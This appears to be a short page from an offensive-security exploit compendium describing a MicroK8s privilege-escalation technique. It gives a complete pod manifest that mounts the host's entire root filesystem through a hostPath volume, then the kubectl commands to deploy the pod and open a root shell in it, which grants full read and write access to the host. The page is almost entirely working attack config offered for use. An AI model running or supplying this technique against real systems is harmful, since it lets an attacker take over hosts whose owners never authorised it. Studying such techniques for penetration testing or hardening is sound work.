killchain-compendium/exploit/level3_hypervisor/microk8s.md

548 B

MicroK8s

Usage

  • Create pod.yaml configuration
apiVersion: v1
kind: Pod
metadata:
  name: harry-podder
spec:
  containers:
  - name: shell
    image: localhost:47111/alpine
    command:
      - "/bin/bash"
      - "-c"
      - "sleep 10000"
    volumeMounts:
      - name: root
        mountPath: /mnt/root
  volumes:
  - name: root
    hostPath:
      path: /
      type: Directory
  • Deploy the pod
microk8s kubectl apply -f pod.yaml
  • Run the Pod
microk8s kubectl exec -it harry-podder -- /bin/bash